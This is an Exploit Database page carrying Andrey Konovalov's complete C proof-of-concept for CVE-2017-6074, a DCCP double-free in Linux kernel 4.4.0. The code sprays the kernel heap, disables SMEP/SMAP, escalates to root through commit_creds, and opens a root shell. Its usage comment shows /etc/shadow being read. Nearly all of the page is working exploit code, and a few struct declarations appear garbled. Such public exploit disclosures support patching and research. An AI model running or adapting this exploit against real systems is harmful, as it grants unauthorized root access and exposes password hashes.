Linux Kernel 4.4.0 (Ubuntu) – DCCP Double-Free Privilege Escalation

• Exploit Database
• 44 阅读

• 作者： Andrey Konovalov
  日期： 2017-02-26
• 类别：

  • local
  平台：

  • linux
• 来源：https://www.exploit-db.com/exploits/41458/

• //
  // EDB Note: More information ~ http://seclists.org/oss-sec/2017/q1/471
  //
  // A proof-of-concept local root exploit for CVE-2017-6074.
  // Includes a semireliable SMAP/SMEP bypass.
  // Tested on 4.4.0-62-generic #83-Ubuntu kernel.
  // https://github.com/xairy/kernel-exploits/tree/master/CVE-2017-6074
  //
  // Usage:
  // $ gcc poc.c -o pwn
  // $ ./pwn
  // [.] namespace sandbox setup successfully
  // [.] disabling SMEP & SMAP
  // [.] scheduling 0xffffffff81064550(0x406e0)
  // [.] waiting for the timer to execute
  // [.] done
  // [.] SMEP & SMAP should be off now
  // [.] getting root
  // [.] executing 0x402043
  // [.] done
  // [.] should be root now
  // [.] checking if we got root
  // [+] got r00t ^_^
  // [!] don't kill the exploit binary, the kernel will crash
  // # cat /etc/shadow
  // ...
  // daemon:*:17149:0:99999:7:::
  // bin:*:17149:0:99999:7:::
  // sys:*:17149:0:99999:7:::
  // sync:*:17149:0:99999:7:::
  // games:*:17149:0:99999:7:::
  // ...
  //
  // Andrey Konovalov <andreyknvl@gmail.com>
  
  #define _GNU_SOURCE
  
  #include <errno.h>
  #include <fcntl.h>
  #include <stdarg.h>
  #include <stdbool.h>
  #include <stddef.h>
  #include <stdint.h>
  #include <stdio.h>
  #include <stdlib.h>
  #include <string.h>
  #include <unistd.h>
  
  #include <sched.h>
  
  #include <sys/socket.h>
  #include <sys/syscall.h>
  #include <sys/types.h>
  #include <sys/wait.h>
  
  #include <arpa/inet.h>
  #include <linux/if_packet.h>
  #include <netinet/if_ether.h>
  
  #define SMEP_SMAP_BYPASS	1
  
  // Needed for local root.
  #define COMMIT_CREDS		0xffffffff810a2840L
  #define PREPARE_KERNEL_CRED	0xffffffff810a2c30L
  #define SHINFO_OFFSET		1728
  
  // Needed for SMEP_SMAP_BYPASS.
  #define NATIVE_WRITE_CR4	0xffffffff81064550ul
  #define CR4_DESIRED_VALUE	0x406e0ul
  #define TIMER_OFFSET		(728 + 48 + 104)
  
  #define KMALLOC_PAD 128
  #define KMALLOC_WARM 32
  #define CATCH_FIRST 6
  #define CATCH_AGAIN 16
  #define CATCH_AGAIN_SMALL 64
  
  // Port is incremented on each use.
  static int port = 11000;
  
  void debug(const char *msg) {
  /*
  	char buffer[32];
  	snprintf(&buffer[0], sizeof(buffer), "echo '%s' > /dev/kmsg\n", msg);
  	system(buffer);
  */
  }
  
  // * * * * * * * * * * * * * * Kernel structs * * * * * * * * * * * * * * * *
  
  struct ubuf_info {
  	uint64_t callback;		// void (*callback)(struct ubuf_info *, bool)
  	uint64_t ctx;			// void *
  	uint64_t desc;			// unsigned long
  };
  
  struct skb_shared_info {
  	uint8_tnr_frags;		// unsigned char
  	uint8_ttx_flags;		// __u8
  	uint16_t gso_size;		// unsigned short
  	uint16_t gso_segs;		// unsigned short
  	uint16_t gso_type;		// unsigned short
  	uint64_t frag_list;		// struct sk_buff *
  	uint64_t hwtstamps;		// struct skb_shared_hwtstamps
  	uint32_t tskey;			// u32
  	uint32_t ip6_frag_id;		// __be32
  	uint32_t dataref;		// atomic_t
  	uint64_t destructor_arg;	// void *
  	uint8_tfrags[16][17];		// skb_frag_t frags[MAX_SKB_FRAGS];
  };
  
  struct ubuf_info ui;
  
  void init_skb_buffer(char* buffer, void *func) {
  	memset(&buffer[0], 0, 2048);
  
  	struct skb_shared_info *ssi = (struct skb_shared_info *)&buffer[SHINFO_OFFSET];
  
  	ssi->tx_flags = 0xff;
  	ssi->destructor_arg = (uint64_t)&ui;
  	ssi->nr_frags = 0;
  	ssi->frag_list = 0;
  
  	ui.callback = (unsigned long)func;
  }
  
  struct timer_list {
  	void		*next;
  	void		*prev;
  	unsigned long	expires;
  	void		(*function)(unsigned long);
  	unsigned long	data;
  	unsigned int	flags;
  	int		slack;
  };
  
  void init_timer_buffer(char* buffer, void *func, unsigned long arg) {
  	memset(&buffer[0], 0, 2048);
  
  	struct timer_list* timer = (struct timer_list *)&buffer[TIMER_OFFSET];
  
  	timer->next = 0;
  	timer->prev = 0;
  	timer->expires = 4294943360;
  	timer->function = func;
  	timer->data = arg;
  	timer->flags = 1;
  	timer->slack = -1;
  }
  
  // * * * * * * * * * * * * * * * Trigger * * * * * * * * * * * * * * * * * *
  
  struct dccp_handle {
  	struct sockaddr_in6 sa;
  	int s1;
  	int s2;
  };
  
  void dccp_init(struct dccp_handle *handle, int port) {
  	handle->sa.sin6_family = AF_INET6;
  	handle->sa.sin6_port = htons(port);
  	inet_pton(AF_INET6, "::1", &handle->sa.sin6_addr);
  	handle->sa.sin6_flowinfo = 0;
  	handle->sa.sin6_scope_id = 0;
  
  	handle->s1 = socket(PF_INET6, SOCK_DCCP, IPPROTO_IP);
  	if (handle->s1 == -1) {
  		perror("socket(SOCK_DCCP)");
  		exit(EXIT_FAILURE);
  	}
  
  	int rv = bind(handle->s1, &handle->sa, sizeof(handle->sa));
  	if (rv != 0) {
  		perror("bind()");
  		exit(EXIT_FAILURE);
  	}
  
  	rv = listen(handle->s1, 0x9);
  	if (rv != 0) {
  		perror("listen()");
  		exit(EXIT_FAILURE);
  	}
  
  	int optval = 8;
  	rv = setsockopt(handle->s1, IPPROTO_IPV6, IPV6_RECVPKTINFO,
  			&optval, sizeof(optval));
  	if (rv != 0) {
  		perror("setsockopt(IPV6_RECVPKTINFO)");
  		exit(EXIT_FAILURE);
  	}
  
  	handle->s2 = socket(PF_INET6, SOCK_DCCP, IPPROTO_IP);
  	if (handle->s1 == -1) {
  		perror("socket(SOCK_DCCP)");
  		exit(EXIT_FAILURE);
  	}
  }
  
  void dccp_kmalloc_kfree(struct dccp_handle *handle) {
  	int rv = connect(handle->s2, &handle->sa, sizeof(handle->sa));
  	if (rv != 0) {
  		perror("connect(SOCK_DCCP)");
  		exit(EXIT_FAILURE);
  	}
  }
  
  void dccp_kfree_again(struct dccp_handle *handle) {
  	int rv = shutdown(handle->s1, SHUT_RDWR);
  	if (rv != 0) {
  		perror("shutdown(SOCK_DCCP)");
  		exit(EXIT_FAILURE);
  	}
  }
  
  void dccp_destroy(struct dccp_handle *handle) {
  	close(handle->s1);
  	close(handle->s2);
  }
  
  // * * * * * * * * * * * * * * Heap spraying * * * * * * * * * * * * * * * * *
  
  struct udp_fifo_handle {
  	int fds[2];
  };
  
  void udp_fifo_init(struct udp_fifo_handle* handle) {
  	int rv = socketpair(AF_LOCAL, SOCK_DGRAM, 0, handle->fds);
  	if (rv != 0) {
  		perror("socketpair()");
  		exit(EXIT_FAILURE);
  	}
  }
  
  void udp_fifo_destroy(struct udp_fifo_handle* handle) {
  	close(handle->fds[0]);
  	close(handle->fds[1]);
  }
  
  void udp_fifo_kmalloc(struct udp_fifo_handle* handle, char *buffer) {
  	int rv = send(handle->fds[0], buffer, 1536, 0);
  	if (rv != 1536) {
  		perror("send()");
  		exit(EXIT_FAILURE);
  	}
  }
  
  void udp_fifo_kmalloc_small(struct udp_fifo_handle* handle) {
  	char buffer[128];
  	int rv = send(handle->fds[0], &buffer[0], 128, 0);
  	if (rv != 128) {
  		perror("send()");
  		exit(EXIT_FAILURE);
  	}
  }
  
  void udp_fifo_kfree(struct udp_fifo_handle* handle) {
  	char buffer[2048];
  	int rv = recv(handle->fds[1], &buffer[0], 1536, 0);
  	if (rv != 1536) {
  		perror("recv()");
  		exit(EXIT_FAILURE);
  	}
  }
  
  int timer_kmalloc() {
  	int s = socket(AF_PACKET, SOCK_DGRAM, htons(ETH_P_ARP));
  	if (s == -1) {
  		perror("socket(SOCK_DGRAM)");
  		exit(EXIT_FAILURE);
  	}
  	return s;
  }
  
  #define CONF_RING_FRAMES 1
  void timer_schedule(int handle, int timeout) {
  	int optval = TPACKET_V3;
  	int rv = setsockopt(handle, SOL_PACKET, PACKET_VERSION,
  			&optval, sizeof(optval));
  	if (rv != 0) {
  		perror("setsockopt(PACKET_VERSION)");
  		exit(EXIT_FAILURE);
  	}
  	struct tpacket_req3 tp;
  	memset(&tp, 0, sizeof(tp));
  	tp.tp_block_size = CONF_RING_FRAMES * getpagesize();
  	tp.tp_block_nr = 1;
  	tp.tp_frame_size = getpagesize();
  	tp.tp_frame_nr = CONF_RING_FRAMES;
  	tp.tp_retire_blk_tov = timeout;
  	rv = setsockopt(handle, SOL_PACKET, PACKET_RX_RING,
  			(void *)&tp, sizeof(tp));
  	if (rv != 0) {
  		perror("setsockopt(PACKET_RX_RING)");
  		exit(EXIT_FAILURE);
  	}
  }
  
  void socket_sendmmsg(int sock, char *buffer) {
  	struct mmsghdr msg[1];
  
  	msg[0].msg_hdr.msg_iovlen = 0;
  
  	// Buffer to kmalloc.
  	msg[0].msg_hdr.msg_control = &buffer[0];
  	msg[0].msg_hdr.msg_controllen = 2048;
  
  	// Make sendmmsg exit easy with EINVAL.
  	msg[0].msg_hdr.msg_name = "root";
  	msg[0].msg_hdr.msg_namelen = 1;
  
  	int rv = syscall(__NR_sendmmsg, sock, msg, 1, 0);
  	if (rv == -1 && errno != EINVAL) {
  		perror("[-] sendmmsg()");
  		exit(EXIT_FAILURE);
  	}
  }
  
  void sendmmsg_kmalloc_kfree(int port, char *buffer) {
  	int sock[2];
  
  	int rv = socketpair(AF_LOCAL, SOCK_DGRAM, 0, sock);
  	if (rv != 0) {
  		perror("socketpair()");
  		exit(EXIT_FAILURE);
  	}
  
  	socket_sendmmsg(sock[0], buffer);
  
  	close(sock[0]);
  }
  
  // * * * * * * * * * * * * * * Heap warming * * * * * * * * * * * * * * * * *
  
  void dccp_connect_pad(struct dccp_handle *handle, int port) {
  	handle->sa.sin6_family = AF_INET6;
  	handle->sa.sin6_port = htons(port);
  	inet_pton(AF_INET6, "::1", &handle->sa.sin6_addr);
  	handle->sa.sin6_flowinfo = 0;
  	handle->sa.sin6_scope_id = 0;
  
  	handle->s1 = socket(PF_INET6, SOCK_DCCP, IPPROTO_IP);
  	if (handle->s1 == -1) {
  		perror("socket(SOCK_DCCP)");
  		exit(EXIT_FAILURE);
  	}
  
  	int rv = bind(handle->s1, &handle->sa, sizeof(handle->sa));
  	if (rv != 0) {
  		perror("bind()");
  		exit(EXIT_FAILURE);
  	}
  
  	rv = listen(handle->s1, 0x9);
  	if (rv != 0) {
  		perror("listen()");
  		exit(EXIT_FAILURE);
  	}
  
  	handle->s2 = socket(PF_INET6, SOCK_DCCP, IPPROTO_IP);
  	if (handle->s1 == -1) {
  		perror("socket(SOCK_DCCP)");
  		exit(EXIT_FAILURE);
  	}
  
  	rv = connect(handle->s2, &handle->sa, sizeof(handle->sa));
  	if (rv != 0) {
  		perror("connect(SOCK_DCCP)");
  		exit(EXIT_FAILURE);
  	}
  }
  
  void dccp_kmalloc_pad() {
  	int i;
  	struct dccp_handle handle;
  	for (i = 0; i < 4; i++) {
  		dccp_connect_pad(&handle, port++);
  	}
  }
  
  void timer_kmalloc_pad() {
  	int i;
  	for (i = 0; i < 4; i++) {
  		socket(AF_PACKET, SOCK_DGRAM, htons(ETH_P_ARP));
  	}
  }
  
  void udp_kmalloc_pad() {
  	int i, j;
  	char dummy[2048];
  	struct udp_fifo_handle uh[16];
  	for (i = 0; i < KMALLOC_PAD / 16; i++) {
  		udp_fifo_init(&uh[i]);
  		for (j = 0; j < 16; j++)
  			udp_fifo_kmalloc(&uh[i], &dummy[0]);
  	}
  }
  
  void kmalloc_pad() {
  	debug("dccp kmalloc pad");
  	dccp_kmalloc_pad();
  	debug("timer kmalloc pad");
  	timer_kmalloc_pad();
  	debug("udp kmalloc pad");
  	udp_kmalloc_pad();
  }
  
  void udp_kmalloc_warm() {
  	int i, j;
  	char dummy[2048];
  	struct udp_fifo_handle uh[16];
  	for (i = 0; i < KMALLOC_WARM / 16; i++) {
  		udp_fifo_init(&uh[i]);
  		for (j = 0; j < 16; j++)
  			udp_fifo_kmalloc(&uh[i], &dummy[0]);
  	}
  	for (i = 0; i < KMALLOC_WARM / 16; i++) {
  		for (j = 0; j < 16; j++)
  			udp_fifo_kfree(&uh[i]);
  	}
  }
  
  void kmalloc_warm() {
  	udp_kmalloc_warm();
  }
  
  // * * * * * * * * * * * * * Disabling SMEP/SMAP * * * * * * * * * * * * * * *
  
  // Executes func(arg) from interrupt context multiple times.
  void kernel_exec_irq(void *func, unsigned long arg) {
  	int i;
  	struct dccp_handle dh;
  	struct udp_fifo_handle uh1, uh2, uh3, uh4;
  	char dummy[2048];
  	char buffer[2048];
  
  	printf("[.] scheduling %p(%p)\n", func, (void *)arg);
  
  	memset(&dummy[0], 0xc3, 2048);
  	init_timer_buffer(&buffer[0], func, arg);
  
  	udp_fifo_init(&uh1);
  	udp_fifo_init(&uh2);
  	udp_fifo_init(&uh3);
  	udp_fifo_init(&uh4);
  
  	debug("kmalloc pad");
  	kmalloc_pad();
  
  	debug("kmalloc warm");
  	kmalloc_warm();
  
  	debug("dccp init");
  	dccp_init(&dh, port++);
  
  	debug("dccp kmalloc kfree");
  	dccp_kmalloc_kfree(&dh);
  
  	debug("catch 1");
  	for (i = 0; i < CATCH_FIRST; i++)
  		udp_fifo_kmalloc(&uh1, &dummy[0]);
  
  	debug("dccp kfree again");
  	dccp_kfree_again(&dh);
  
  	debug("catch 2");
  	for (i = 0; i < CATCH_FIRST; i++)
  		udp_fifo_kmalloc(&uh2, &dummy[0]);
  
  	int timers[CATCH_FIRST];
  	debug("catch 1 -> timer");
  	for (i = 0; i < CATCH_FIRST; i++) {
  		udp_fifo_kfree(&uh1);
  		timers[i] = timer_kmalloc();
  	}
  
  	debug("catch 1 small");
  	for (i = 0; i < CATCH_AGAIN_SMALL; i++)
  		udp_fifo_kmalloc_small(&uh4);
  
  	debug("schedule timers");
  	for (i = 0; i < CATCH_FIRST; i++)
  		timer_schedule(timers[i], 500);
  
  	debug("catch 2 -> overwrite timers");
  	for (i = 0; i < CATCH_FIRST; i++) {
  		udp_fifo_kfree(&uh2);
  		udp_fifo_kmalloc(&uh3, &buffer[0]);
  	}
  
  	debug("catch 2 small");
  	for (i = 0; i < CATCH_AGAIN_SMALL; i++)
  		udp_fifo_kmalloc_small(&uh4);
  
  	printf("[.] waiting for the timer to execute\n");
  
  	debug("wait");
  	sleep(1);
  
  	printf("[.] done\n");
  }
  
  void disable_smep_smap() {
  	printf("[.] disabling SMEP & SMAP\n");
  	kernel_exec_irq((void *)NATIVE_WRITE_CR4, CR4_DESIRED_VALUE);
  	printf("[.] SMEP & SMAP should be off now\n");
  }
  
  // * * * * * * * * * * * * * * * Getting root * * * * * * * * * * * * * * * * *
  
  // Executes func() from process context.
  void kernel_exec(void *func) {
  	int i;
  	struct dccp_handle dh;
  	struct udp_fifo_handle uh1, uh2, uh3;
  	char dummy[2048];
  	char buffer[2048];
  
  	printf("[.] executing %p\n", func);
  
  	memset(&dummy[0], 0, 2048);
  	init_skb_buffer(&buffer[0], func);
  
  	udp_fifo_init(&uh1);
  	udp_fifo_init(&uh2);
  	udp_fifo_init(&uh3);
  
  	debug("kmalloc pad");
  	kmalloc_pad();
  
  	debug("kmalloc warm");
  	kmalloc_warm();
  
  	debug("dccp init");
  	dccp_init(&dh, port++);
  
  	debug("dccp kmalloc kfree");
  	dccp_kmalloc_kfree(&dh);
  
  	debug("catch 1");
  	for (i = 0; i < CATCH_FIRST; i++)
  		udp_fifo_kmalloc(&uh1, &dummy[0]);
  
  	debug("dccp kfree again:");
  	dccp_kfree_again(&dh);
  
  	debug("catch 2");
  	for (i = 0; i < CATCH_FIRST; i++)
  		udp_fifo_kmalloc(&uh2, &dummy[0]);
  
  	debug("catch 1 -> overwrite");
  	for (i = 0; i < CATCH_FIRST; i++) {
  		udp_fifo_kfree(&uh1);
  		sendmmsg_kmalloc_kfree(port++, &buffer[0]);
  	}
  	debug("catch 2 -> free & trigger");
  	for (i = 0; i < CATCH_FIRST; i++)
  		udp_fifo_kfree(&uh2);
  
  	debug("catch 1 & 2");
  	for (i = 0; i < CATCH_AGAIN; i++)
  		udp_fifo_kmalloc(&uh3, &dummy[0]);
  
  	printf("[.] done\n");
  }
  
  typedef int __attribute__((regparm(3))) (* _commit_creds)(unsigned long cred);
  typedef unsigned long __attribute__((regparm(3))) (* _prepare_kernel_cred)(unsigned long cred);
  
  _commit_creds commit_creds = (_commit_creds)COMMIT_CREDS;
  _prepare_kernel_cred prepare_kernel_cred = (_prepare_kernel_cred)PREPARE_KERNEL_CRED;
  
  void get_root_payload(void) {
  	commit_creds(prepare_kernel_cred(0));
  }
  
  void get_root() {
  	printf("[.] getting root\n");
  	kernel_exec(&get_root_payload);
  	printf("[.] should be root now\n");
  }
  
  // * * * * * * * * * * * * * * * * * Main * * * * * * * * * * * * * * * * * *
  
  void exec_shell() {
  	char *shell = "/bin/bash";
  	char *args[] = {shell, "-i", NULL};
  	execve(shell, args, NULL);
  }
  
  void fork_shell() {
  	pid_t rv;
  
  	rv = fork();
  	if (rv == -1) {
  		perror("fork()");
  		exit(EXIT_FAILURE);
  	}
  
  	if (rv == 0) {
  		exec_shell();
  	}
  }
  
  bool is_root() {
  	// We can't simple check uid, since we're running inside a namespace
  	// with uid set to 0. Try opening /etc/shadow instead.
  	int fd = open("/etc/shadow", O_RDONLY);
  	if (fd == -1)
  		return false;
  	close(fd);
  	return true;
  }
  
  void check_root() {
  	printf("[.] checking if we got root\n");
  
  	if (!is_root()) {
  		printf("[-] something went wrong =(\n");
  		printf("[!] don't kill the exploit binary, the kernel will crash\n");
  		return;
  	}
  
  	printf("[+] got r00t ^_^\n");
  	printf("[!] don't kill the exploit binary, the kernel will crash\n");
  
  	// Fork and exec instead of just doing the exec to avoid freeing
  	// skbuffs and prevent crashes due to a allocator corruption.
  	fork_shell();
  }
  
  static bool write_file(const char* file, const char* what, ...)
  {
  	char buf[1024];
  	va_list args;
  	va_start(args, what);
  	vsnprintf(buf, sizeof(buf), what, args);
  	va_end(args);
  	buf[sizeof(buf) - 1] = 0;
  	int len = strlen(buf);
  
  	int fd = open(file, O_WRONLY | O_CLOEXEC);
  	if (fd == -1)
  		return false;
  	if (write(fd, buf, len) != len) {
  		close(fd);
  		return false;
  	}
  	close(fd);
  	return true;
  }
  
  void setup_sandbox() {
  	int real_uid = getuid();
  	int real_gid = getgid();
  
  if (unshare(CLONE_NEWUSER) != 0) {
  		perror("unshare(CLONE_NEWUSER)");
  		exit(EXIT_FAILURE);
  	}
  
  if (unshare(CLONE_NEWNET) != 0) {
  		perror("unshare(CLONE_NEWUSER)");
  		exit(EXIT_FAILURE);
  	}
  
  	if (!write_file("/proc/self/setgroups", "deny")) {
  		perror("write_file(/proc/self/set_groups)");
  		exit(EXIT_FAILURE);
  	}
  	if (!write_file("/proc/self/uid_map", "0 %d 1\n", real_uid)){
  		perror("write_file(/proc/self/uid_map)");
  		exit(EXIT_FAILURE);
  	}
  	if (!write_file("/proc/self/gid_map", "0 %d 1\n", real_gid)) {
  		perror("write_file(/proc/self/gid_map)");
  		exit(EXIT_FAILURE);
  	}
  
  	cpu_set_t my_set;
  	CPU_ZERO(&my_set);
  	CPU_SET(0, &my_set);
  	if (sched_setaffinity(0, sizeof(my_set), &my_set) != 0) {
  		perror("sched_setaffinity()");
  		exit(EXIT_FAILURE);
  	}
  
  	if (system("/sbin/ifconfig lo up") != 0) {
  		perror("system(/sbin/ifconfig lo up)");
  		exit(EXIT_FAILURE);
  	}
  
  	printf("[.] namespace sandbox setup successfully\n");
  }
  
  int main() {
  	setup_sandbox();
  
  #if SMEP_SMAP_BYPASS
  	disable_smep_smap();
  #endif
  
  	get_root();
  
  	check_root();
  
  	while (true) {
  		sleep(100);
  	}
  
  	return 0;
  }